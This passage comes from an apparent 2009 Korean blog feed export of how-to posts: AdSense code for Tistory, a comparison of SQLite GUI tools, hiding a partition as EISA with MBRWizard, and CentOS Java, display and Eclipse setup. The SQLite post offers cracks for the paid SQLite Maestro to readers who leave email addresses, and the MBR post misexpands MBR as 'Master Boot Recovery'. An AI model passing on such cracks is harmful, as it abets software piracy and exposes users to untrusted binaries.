src="http://yard.tistory.com/plugin/CallBack_bootstrapperSrc?nil_profile=tistory&amp;amp;nil_type=copied_post" wmode="transparent" type="application/x-shockwave-flash" enablecontextmenu="false" flashvars="&amp;amp;callbackId=yardtistorycom144827&amp;amp;host=http://yard.tistory.com&amp;amp;embedCodeSrc=http%3A%2F%2Fyard.tistory.com%2Fplugin%2FCallBack_bootstrapper%3F%26src%3Dhttp%3A%2F%2Fcfs.tistory.com%2Fblog%2Fplugins%2FCallBack%2Fcallback%26id%3D14%26callbackId%3Dyardtistorycom144827%26destDocId%3Dcallbacknestyardtistorycom144827%26host%3Dhttp%3A%2F%2Fyard.tistory.com%26float%3Dleft" swliveconnect="true" width="1" height="1"&gt;&lt;/embed&gt;&lt;/span&gt;&lt;span style="font-family: arial;"&gt; 안 하고 할려고해서 ㅋ&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial;"&gt; 혹시나 필요하면 더 개발하겠습니다. 우선은 여기까지 ㅋ 파란이나 구글도 추가할려고 했지만 별로 의미가 없더군요 &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial;"&gt; ㅃㅃ~~~&lt;/span&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2513875003853039748-5143463761855780997?l=webhack119.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://webhack119.blogspot.com/feeds/5143463761855780997/comments/default' title='댓글'/><link rel='replies' type='text/html' href='http://webhack119.blogspot.com/2009/04/online-navigation-v03.html#comment-form' title='0개의 덧글'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2513875003853039748/posts/default/5143463761855780997'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2513875003853039748/posts/default/5143463761855780997'/><link rel='alternate' type='text/html' href='http://webhack119.blogspot.com/2009/04/online-navigation-v03.html' title='OnLine Navigation v0.3'/><author><name>Web Application Firewall</name><uri>http://www.blogger.com/profile/03811311502795347014</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2513875003853039748.post-3415140987208364813</id><published>2009-03-29T23:39:00.000-07:00</published><updated>2009-03-29T23:41:46.605-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='ETC'/><category scheme='http://www.blogger.com/atom/ns#' term='Tistory'/><category scheme='http://www.blogger.com/atom/ns#' term='AdSense'/><title type='text'>티스토리에 구글 애드센스 코드 넣기</title><content type='html'>내 코드는&lt;br /&gt;&amp;lt script type="text/javascript"&gt;&amp;lt !--&lt;br /&gt;google_ad_client = "pub-1780748909761496";&lt;br /&gt;/* Tistory2, 작성됨 09. 3. 25 */&lt;br /&gt;google_ad_slot = "2707362159";&lt;br /&gt;google_ad_width = 468;&lt;br /&gt;google_ad_height = 60;&lt;br /&gt;//--&gt;&lt;br /&gt;&amp;lt /script&gt;&lt;br /&gt;&amp;lt script type="text/javascript"&lt;br /&gt;src="http://pagead2.googlesyndication.com/pagead/show_ads.js"&gt;&lt;br /&gt;&amp;lt /script&gt;&lt;br /&gt;&lt;br /&gt;저 처럼 본문 밑에 넣는 방법 입니다 ^^&lt;br /&gt;(관리자모드-&gt;스킨-&gt;HTML/CSS 편집)&lt;br /&gt;［##_article_rep_desc_##]＜/div＞바로 밑에 코드 넣기&lt;br /&gt;&lt;br /&gt;&lt;img src="http://cfs3.tistory.com/upload_control/download.blog?fhandle=YmxvZzI5NDUxQGZzMy50aXN0b3J5LmNvbTovYXR0YWNoLzI2LzI2NTEuanBn"&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2513875003853039748-3415140987208364813?l=webhack119.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://webhack119.blogspot.com/feeds/3415140987208364813/comments/default' title='댓글'/><link rel='replies' type='text/html' href='http://webhack119.blogspot.com/2009/03/script-typetextjavascript.html#comment-form' title='0개의 덧글'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2513875003853039748/posts/default/3415140987208364813'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2513875003853039748/posts/default/3415140987208364813'/><link rel='alternate' type='text/html' href='http://webhack119.blogspot.com/2009/03/script-typetextjavascript.html' title='티스토리에 구글 애드센스 코드 넣기'/><author><name>Web Application Firewall</name><uri>http://www.blogger.com/profile/03811311502795347014</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2513875003853039748.post-5167542021988503291</id><published>2009-03-25T23:22:00.000-07:00</published><updated>2009-03-25T23:24:28.522-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Tistory'/><title type='text'></title><content type='html'>&lt;div style="font-family: arial;" class="titleWrap"&gt;          &lt;h2&gt;&lt;a linkindex="6" href="http://yard.tistory.com/entry/SQLite-GUI"&gt;SQLite GUI 툴중에 가장 좋은거&lt;/a&gt;&lt;/h2&gt;&lt;/div&gt;&lt;a linkindex="9" href="http://yard.tistory.com/attachment/cfile1.uf@1225781449CB16BD388E9E.exe"&gt;&lt;img src="http://cfs.tistory.com/blog/image/extension/exe.gif" alt="" style="vertical-align: middle;" /&gt; SQLite Maestro Setup.exe&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial;"&gt; SQLite GUI 툴을 구하게 된 이유는 이번에 개발 프로젝트를 진행하는데 약간의 DB가 필요한데 TEXT 파일로 하려다가 우연히 SQLite를 알게되어서 개발은 Linux 지만 DB 설계 자체를 편하게 하기 위해서 GUI를 구했다 ㅍ&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial;"&gt; SQLite의 강점은 메모리 DB라는 것이 있다 메모리 자체에 DB를 넣어서 겁나게 빠른 속도를 자랑한다 ㅋ&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial;"&gt; 단!! DB가 커질수록 메모리를 많이 먹는건 당연하다 ㅡㅡ;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial;"&gt; 또 한가지 단점은 아직은 트렌잭션 쿼리를 사용 못하는거 같다. &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial;"&gt; 또 단점은 Foreign keys에 대해서 100% 지원은 못한다고 한다. 뭐 그래도 작은 DB를 쓸때는 최상인거 같다&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial;"&gt; 아참참!! 이건 Server 기능이 없다 Listen을 하지 않기 때문에 원격접속은 안된다 ㅋ&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial;"&gt; 그래서 임베디드쪽 분야에서 많이 쓰이는거 같다 ^^&lt;/span&gt;&lt;br /&gt; &lt;br /&gt; &lt;div class="imageblock center" style="text-align: center; clear: both; font-family: arial;"&gt;&lt;img src="http://cfile2.uf.tistory.com/image/204F3D1A49CB1DDF0ED427" alt="" style="cursor: pointer;" onclick="open_img('http://cfile2.uf.tistory.com/original/204F3D1A49CB1DDF0ED427')" width="630" height="368" /&gt;&lt;/div&gt;&lt;br /&gt;&lt;span style="font-family: arial;"&gt; Firefox&lt;/span&gt;&lt;span id="callbacknestyardtistorycom14121" style="width: 1px; height: 1px; float: right; font-family: arial;"&gt;&lt;embed allowscriptaccess="always" id="bootstrapperyardtistorycom14121" src="http://yard.tistory.com/plugin/CallBack_bootstrapperSrc?nil_profile=tistory&amp;amp;nil_type=copied_post" wmode="transparent" type="application/x-shockwave-flash" enablecontextmenu="false" flashvars="&amp;amp;callbackId=yardtistorycom14121&amp;amp;host=http://yard.tistory.com&amp;amp;embedCodeSrc=http%3A%2F%2Fyard.tistory.com%2Fplugin%2FCallBack_bootstrapper%3F%26src%3Dhttp%3A%2F%2Fcfs.tistory.com%2Fblog%2Fplugins%2FCallBack%2Fcallback%26id%3D1%26callbackId%3Dyardtistorycom14121%26destDocId%3Dcallbacknestyardtistorycom14121%26host%3Dhttp%3A%2F%2Fyard.tistory.com%26float%3Dleft" swliveconnect="true" width="1" height="1"&gt;&lt;/embed&gt;&lt;/span&gt;&lt;span style="font-family: arial;"&gt; 플러그인 형식인 SQLite Manager, SQLiteExpertPersonal, SQLiteExpertProfessional, SQLiteSpy,&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial;"&gt; SQLiteStudio, PlaneDisaster.Net, SQLite2009Pro, Osenxpsuite2009, SQLite Maestro, SQLiteman를 모두 비교해 봤다 ㅡㅡ;&lt;/span&gt;&lt;br /&gt; &lt;br /&gt;&lt;span style="font-family: arial;"&gt; 결과는 SQLite Maestro 가 가장 좋았다. 유료버전이지만 ^^;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial;"&gt; 무료버전으로는 &lt;/span&gt;&lt;a style="font-family: arial;" linkindex="10" title="[http://download.osenxpsuite.net/SQLite2009Pro-v3.6.11.zip]로 이동합니다." target="_blank" href="http://download.osenxpsuite.net/SQLite2009Pro-v3.6.11.zip"&gt;SQLite2009Pro&lt;/a&gt;&lt;span style="font-family: arial;"&gt;가 자장 좋다. 그런데 SQL Query 를 쓰는 창에서 방향키가 안되는 버그가 있다 ㅡㅡ;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial;"&gt; 그래서 최종 결과는 SQLite Maestro 이다 ㅋ &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial;"&gt; 저 위 사진은 8.5.0.1 버전이다(첨부파일). 과자가 많이 뿌려지진 않아서 과자 찾기가 좀 힘들었다&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial;"&gt; 과자가 필요한 사람은 댓글에 이메일 주소를 남겨달라 ㅋㅋ&lt;/span&gt;&lt;br /&gt; &lt;br /&gt;&lt;span style="font-family: arial;"&gt; P.S SQLite2009Pro는 메모리 DB를 쓰는 기능이 그냥 지원된다. SQLite Maestro는 대충 찾아봤을 때는 안 보였다.&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2513875003853039748-5167542021988503291?l=webhack119.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://webhack119.blogspot.com/feeds/5167542021988503291/comments/default' title='댓글'/><link rel='replies' type='text/html' href='http://webhack119.blogspot.com/2009/03/sqlite-gui-sqlite-maestro-setup.html#comment-form' title='0개의 덧글'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2513875003853039748/posts/default/5167542021988503291'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2513875003853039748/posts/default/5167542021988503291'/><link rel='alternate' type='text/html' href='http://webhack119.blogspot.com/2009/03/sqlite-gui-sqlite-maestro-setup.html' title=''/><author><name>Web Application Firewall</name><uri>http://www.blogger.com/profile/03811311502795347014</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2513875003853039748.post-830955520706232005</id><published>2009-03-24T16:53:00.000-07:00</published><updated>2009-03-24T16:57:37.443-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Windows'/><title type='text'>나의 하드에 보안 영역(EISA 구성)을 만들어 보자</title><content type='html'>&lt;div style="font-family: arial;font-family:arial;" class="NHN_Writeform_Main" &gt;&lt;span style="font-size:85%;"&gt;&lt;strong&gt;MBR이란?&lt;/strong&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: arial;font-family:arial;" class="NHN_Writeform_Main" &gt;&lt;span style="font-size:85%;"&gt;하드디스크의 맨 앞에 기록되어 있는 시스템 가동영역 즉 Master Boot Recovery 입니다.&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: arial;font-family:arial;" class="NHN_Writeform_Main" &gt;&lt;span style="font-size:85%;"&gt;PC 에 전원을 넣으면 먼저 0번 순위의 하드 디스크의 0번 파티션, 즉 Master로 잡혀있는 하드 디스크의 첫번째 파티션이 생성됨과 동시에 만들어 지게 되고 이 MBR의 프로그램은 그 하드 디스크의 Partition Table의 정보를 읽어 또다시 0번 순위의 Boot Sector, 즉 Master 하드 디스크의 분할의 맨 앞에 있는 파티션을 읽어 이 섹터의 프로그램에 의해 PC가 가동되게 됩니다.&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: arial;font-family:arial;" class="NHN_Writeform_Main" &gt;&lt;span style="font-size:85%;"&gt;따라서 MBR의 정보가 파괴되면 PC는 가동할 수 없죠. (모든 파티션을 날리고 초기화 시키면 MBR도 사라집니다.)&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: arial;font-family:arial;" class="NHN_Writeform_Main" &gt;&lt;span style="font-size:85%;"&gt;설명이 길어졌는데요.&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: arial;font-family:arial;" class="NHN_Writeform_Main" &gt;&lt;span style="font-size:85%;"&gt;이제 본격적인 보안 영역을 만들어 보기로 하겠습니다.&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: arial;font-family:arial;" class="NHN_Writeform_Main" &gt;&lt;span style="font-size:85%;"&gt; &lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: arial;font-family:arial;" class="NHN_Writeform_Main" &gt;&lt;span style="font-size:85%;"&gt;&lt;strong&gt;EISA 구성이란?&lt;/strong&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-size:85%;"&gt;하드의 보안 영역으로서 OS상에서 파티션의 삭제 및 포맷은 물론이고 수정 또한 불가능 하기 때문에 보통 중요한 데이터의 저장 및 백업 공간으로 널리 활용하고 있는 보편화 된 파티션입니다.&lt;br /&gt;&lt;/span&gt;&lt;span style="font-size:85%;"&gt;요즘 나오는 거의 대부분의 D2D 툴이 이 영역을 활용하고 있죠.&lt;br /&gt;&lt;/span&gt;&lt;span style="font-size:85%;"&gt;LG Smart Recovery 역시 이 영역을 사용하고 있습니다.&lt;br /&gt;&lt;/span&gt;&lt;span style="font-size:85%;"&gt;그럼 첨부된 MBRWizard를 사용해 간단한 방법으로 직접 만들어 보겠습니다.&lt;br /&gt;&lt;/span&gt;&lt;span style="font-size:85%;"&gt;OS상에서 건드릴 수 없는 보안 영역인 EISA 구성을 OS상에서 제어해 줄 수 있는 하드 테이블 편집기 입니다.&lt;/span&gt;&lt;/div&gt;&lt;p style="font-family: arial;font-family:arial;" &gt;&lt;span style="font-size:85%;"&gt;MBRWizard 사용법 링크 : &lt;a target="_blank" href="http://offree.net/981"&gt;http://offree.net/981&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style="font-family: arial;font-family:arial;" &gt;&lt;span style="font-size:85%;"&gt;사용 플랫폼 환경 : Windows (32-bit) 9X, 2K, XP, VISTA&lt;/span&gt;&lt;/p&gt;&lt;p style="font-family: arial;font-family:arial;"  align="center"&gt;&lt;span style="font-size:85%;"&gt;&lt;img src="http://cafefiles.naver.net/data40/2009/3/1/186/untitled_hewmaster.png" id="userImg2828191" style="width: 740px; height: 533px;" name="cafeuserimg" onload="'setTimeout(" onclick="popview(this)" /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style="font-family: arial;font-family:arial;" &gt;&lt;span style="font-size:85%;"&gt; EISA 구성은 그림처럼 OS상에서 건드릴 수 없게 되어 있는 모습 입니다.&lt;/span&gt;&lt;/p&gt;&lt;p style="font-family: arial;font-family:arial;" &gt;&lt;span style="font-size:85%;"&gt; CMD (VISTA 사용자의 경우 관리자 권한으로 실행) - MBRWizard 실행&lt;/span&gt;&lt;/p&gt;&lt;p style="font-family: arial;font-family:arial;"  align="center"&gt;&lt;span style="font-size:85%;"&gt;&lt;img src="http://cafefiles.naver.net/data36/2009/3/1/267/untitled1_hewmaster.png" id="userImg5552379" style="width: 712px; height: 475px;" name="cafeuserimg" onload="'setTimeout(" onclick="popview(this)" /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style="font-family: arial;font-family:arial;"  align="left"&gt;&lt;span style="font-size:85%;"&gt; MBRWizard로 보는 하드의 테이블 구조입니다.&lt;/span&gt;&lt;/p&gt;&lt;p style="font-family: arial;font-family:arial;"  align="left"&gt;&lt;span style="font-size:85%;"&gt; &lt;/span&gt;&lt;/p&gt;&lt;p style="font-family: arial;font-family:arial;" &gt;&lt;span style="font-size:85%;"&gt;Disk=0 : Master하드의 Disk 번호&lt;/span&gt;&lt;/p&gt;&lt;p style="font-family: arial;font-family:arial;" &gt;&lt;span style="font-size:85%;"&gt;Type/Name : 파티션의 테이블 구조이며 07은 Windows의 NTFS Format, 12는 EISA Format&lt;/span&gt;&lt;/p&gt;&lt;p style="font-family: arial;font-family:arial;" &gt;&lt;span style="font-size:85%;"&gt;Active : 동적 활성화 여부&lt;/span&gt;&lt;/p&gt;&lt;p style="font-family: arial;font-family:arial;" &gt;&lt;span style="font-size:85%;"&gt;Start Sector : 파티션의 시작 섹터&lt;/span&gt;&lt;/p&gt;&lt;p style="font-family: arial;font-family:arial;" &gt;&lt;span style="font-size:85%;"&gt;Sectors : 파티션의 섹터 수&lt;/span&gt;&lt;/p&gt;&lt;p style="font-family: arial;font-family:arial;" &gt;&lt;span style="font-size:85%;"&gt;DL : 파티션의 볼륨레이블&lt;/span&gt;&lt;/p&gt;&lt;p style="font-family: arial;font-family:arial;" &gt;&lt;span style="font-size:85%;"&gt;Vol Label : 파티션의 볼륨명&lt;/span&gt;&lt;/p&gt;&lt;p style="font-family: arial;font-family:arial;" &gt;&lt;span style="font-size:85%;"&gt; &lt;/span&gt;&lt;/p&gt;&lt;p style="font-family: arial;font-family:arial;" &gt;&lt;span style="font-size:85%;"&gt;대략 위와 같은 구조로 되어 있습니다.&lt;/span&gt;&lt;/p&gt;&lt;p style="font-family: arial;font-family:arial;" &gt;&lt;span style="font-size:85%;"&gt;물론 파티션 테이블 구조는 07과 12만 있지는 않습니다.&lt;/span&gt;&lt;/p&gt;&lt;p style="font-family: arial;font-family:arial;" &gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style="font-family: arial;font-family:arial;" &gt;&lt;span style="font-size:85%;"&gt;만일 여기서 2번 Part의 테이블을 EISA로 구성하고 싶다면 &lt;/span&gt;&lt;/p&gt;&lt;p style="font-family: arial;font-family:arial;"  align="center"&gt;&lt;span style="font-size:85%;"&gt;&lt;img src="http://cafefiles.naver.net/data37/2009/3/1/138/untitled2_hewmaster.png" id="userImg2704797" style="width: 709px; height: 479px;" name="cafeuserimg" onload="'setTimeout(" onclick="popview(this)" /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style="font-family: arial;font-family:arial;"  align="left"&gt;&lt;span style="font-size:85%;"&gt; 그림과 같이 해주고 재부팅 하면 보안 영역으로 윈도우 상에 표시 되지 않습니다.&lt;/span&gt;&lt;/p&gt;&lt;p style="font-family: arial;font-family:arial;"  align="left"&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style="font-family: arial;font-family:arial;"  align="center"&gt;&lt;span style="font-size:85%;"&gt;&lt;img src="http://cafefiles.naver.net/data39/2009/3/1/298/untitled3_hewmaster.png" id="userImg2059141" style="width: 740px; height: 534px;" name="cafeuserimg" onload="'setTimeout(" onclick="popview(this)" /&gt;&lt;img src="http://cafefiles.naver.net/data39/2009/3/1/268/untitled4_hewmaster.png" id="userImg3446295" style="width: 711px; height: 472px;" name="cafeuserimg" onload="'setTimeout(" onclick="popview(this)" /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style="font-family: arial;font-family:arial;"  align="left"&gt;&lt;span style="font-size:85%;"&gt; 보이는 것 처럼 EISA 구성으로 표시되고 삭제 및 수정이 불가능 한 것을 알 수 있습니다.&lt;/span&gt;&lt;/p&gt;&lt;p style="font-family: arial;font-family:arial;"  align="left"&gt;&lt;span style="font-size:85%;"&gt; 이를 응용하면 보다 퀄리티한 자신만의 백업 및 복구 영역을 만들 수 있죠.&lt;/span&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2513875003853039748-830955520706232005?l=webhack119.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://webhack119.blogspot.com/feeds/830955520706232005/comments/default' title='댓글'/><link rel='replies' type='text/html' href='http://webhack119.blogspot.com/2009/03/mbr-master-boot-recovery.html#comment-form' title='0개의 덧글'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2513875003853039748/posts/default/830955520706232005'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2513875003853039748/posts/default/830955520706232005'/><link rel='alternate' type='text/html' href='http://webhack119.blogspot.com/2009/03/mbr-master-boot-recovery.html' title='나의 하드에 보안 영역(EISA 구성)을 만들어 보자'/><author><name>Web Application Firewall</name><uri>http://www.blogger.com/profile/03811311502795347014</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2513875003853039748.post-3339554070212515772</id><published>2009-03-19T19:37:00.000-07:00</published><updated>2009-03-19T19:38:07.935-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='CentOS 5'/><category scheme='http://www.blogger.com/atom/ns#' term='JAVA'/><title type='text'>CentOS 5.2에서 JAVA 업데이트</title><content type='html'>&lt;span style="font-size:85%;"&gt;&lt;span style="font-family: arial;"&gt;ㅇ 기존 자바 1.4.2 버전 삭제&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial;"&gt;먼저 X-Windows 시작에서 -&gt; 프로그램 추가/삭제를 클릭한다.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial;"&gt;java 로 검색 후 삭제&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial;"&gt;ㅇ 자바 1.5 이상버전으로 업 그레이드 후 JAVA PATH 잡기&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial;"&gt;http://www.java.com 에서 다운로드&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial;"&gt;chmod 755 ./jre-6u12-linux-i586-rpm.bin&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial;"&gt;./jre-6u12-linux-i586-rpm.bin&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial;"&gt;rpm -ivh ./jre-6u12-linux-i586.rpm&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial;"&gt;export JAVA_HOME="/usr/java/jre1.6.0_12"&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial;"&gt;export PATH="/usr/java/jre1.6.0_12/bin:$PATH"&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial;"&gt;Eclipes 설치 디렉토리에 JAVA 복사&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial;"&gt;[root@localhost eclipse]# cp -rf /usr/java/jre1.6.0_12/ ./jre&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2513875003853039748-3339554070212515772?l=webhack119.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://webhack119.blogspot.com/feeds/3339554070212515772/comments/default' title='댓글'/><link rel='replies' type='text/html' href='http://webhack119.blogspot.com/2009/03/centos-52-java.html#comment-form' title='0개의 덧글'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2513875003853039748/posts/default/3339554070212515772'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2513875003853039748/posts/default/3339554070212515772'/><link rel='alternate' type='text/html' href='http://webhack119.blogspot.com/2009/03/centos-52-java.html' title='CentOS 5.2에서 JAVA 업데이트'/><author><name>Web Application Firewall</name><uri>http://www.blogger.com/profile/03811311502795347014</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2513875003853039748.post-2208287121734617164</id><published>2009-03-19T16:44:00.000-07:00</published><updated>2009-03-19T20:48:32.692-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='CentOS 5'/><category scheme='http://www.blogger.com/atom/ns#' term='Linux'/><title type='text'>CentOS 5.2에서 X Windows 해상도 변경 및 화면 회전(피봇)</title><content type='html'>&lt;span style="font-family: arial;font-family:arial;font-size:85%;"  &gt;[root@localhost ~]# system-config-display&lt;br /&gt;&lt;br /&gt;탭메뉴(하드웨어(H)) -&gt; 모니터 유형을 최신으로 바꿔준 후&lt;br /&gt;탭메뉴(설정(S)) -&gt; 해상도에서 원하는 해상도로 변경 후 확인&lt;br /&gt;&lt;br /&gt;X-Windows에서 시스템-&gt; 로그아웃 클릭&lt;br /&gt;&lt;br /&gt;피봇 기능 활성화&lt;br /&gt;&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-family: arial;"&gt;vi /etc/X11/xorg.conf&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial;"&gt;Session "Device" 항목에 추가&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial;"&gt;Option         "RandRRotation" "on"&lt;/span&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2513875003853039748-2208287121734617164?l=webhack119.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://webhack119.blogspot.com/feeds/2208287121734617164/comments/default' title='댓글'/><link rel='replies' type='text/html' href='http://webhack119.blogspot.com/2009/03/centos-52-x-windows.html#comment-form' title='0개의 덧글'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2513875003853039748/posts/default/2208287121734617164'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2513875003853039748/posts/default/2208287121734617164'/><link rel='alternate' type='text/html' href='http://webhack119.blogspot.com/2009/03/centos-52-x-windows.html' title='CentOS 5.2에서 X Windows 해상도 변경 및 화면 회전(피봇)'/><author><name>Web Application Firewall</name><uri>http://www.blogger.com/profile/03811311502795347014</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2513875003853039748.post-8311279201648641854</id><published>2009-03-19T01:43:00.000-07:00</published><updated>2009-03-19T19:52:33.506-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='CentOS 5'/><category scheme='http://www.blogger.com/atom/ns#' term='Programing'/><category scheme='http://www.blogger.com/atom/ns#' term='Linux'/><category scheme='http://www.blogger.com/atom/ns#' term='Eclipse'/><title type='text'>CentOS 5.2에서 Eclipse 설치하기</title><content type='html'>&lt;span style="font-family: arial;font-family:arial;font-size:85%;"  &gt;EasyEclipse&lt;br /&gt;http://nchc.dl.sourceforge.net/sourceforge/easyeclipse/easyeclipse-cplusplus-1.3.1.1.tar.gz&lt;br /&gt;&lt;br /&gt;위 파일을 다운로드 후에&lt;br /&gt;mv -f ./easyeclipse-cplusplus-1.3.1.1 /usr/local/eclipse&lt;br /&gt;&lt;br /&gt;SubClipse&lt;br /&gt;http://jaist.dl.sourceforge.net/sourceforge/easyeclipse/easy-subclipse-1.2.4.tar.gz&lt;br /&gt;&lt;br /&gt;위 파일을 다운로드 후에&lt;br /&gt;/usr/local/eclipse 폴더에 덮어 씌우기&lt;br /&gt;&lt;br /&gt;Eclipse 업데이트 하기&lt;br /&gt;Eclipse 메뉴에서 Help -&gt;Software Updates-&gt;Find and Insall... 클릭&lt;br /&gt;Search for new features to install 선택 후 Next&gt; 클릭&lt;br /&gt;New Remote Site... 클릭 후&lt;br /&gt;Name: 은 Eclipse Update Site로 적고 URL: 은 &lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;code style="font-family: arial;"&gt;http://download.eclipse.org/callisto/releases/ 적고 OK 클릭&lt;br /&gt;&lt;/code&gt;&lt;/span&gt;&lt;span style="font-family: arial;font-family:arial;font-size:85%;"  &gt;Finish 클릭 후 Update Manager가 실행됨&lt;br /&gt;[Korea, Republic Of} Daum ~~~ 클릭&lt;br /&gt;Update에서 &lt;/span&gt;&lt;span style="font-family: arial;font-family:arial;font-size:85%;"  &gt;Eclipse Update Site&lt;/span&gt;&lt;span style="font-family: arial;font-family:arial;font-size:85%;"  &gt; 왼쪽에 삼각형 모형이 생김&lt;br /&gt;Update할 프로그램 선택 후 Finish 클릭시 업데이트가 됨&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;참조 사이트&lt;br /&gt;http://blog.naver.com/fstory97/70034172413&lt;br /&gt;http://blog.naver.com/wono77?Redirect=Log&amp;amp;logNo=140055354138&lt;br /&gt;http://blog.bagesoft.com/890&lt;br /&gt;&lt;br /&gt;!!중요!!&lt;br /&gt;꼭 저장(CTRL+S)에 빌드(CTRL+B)을 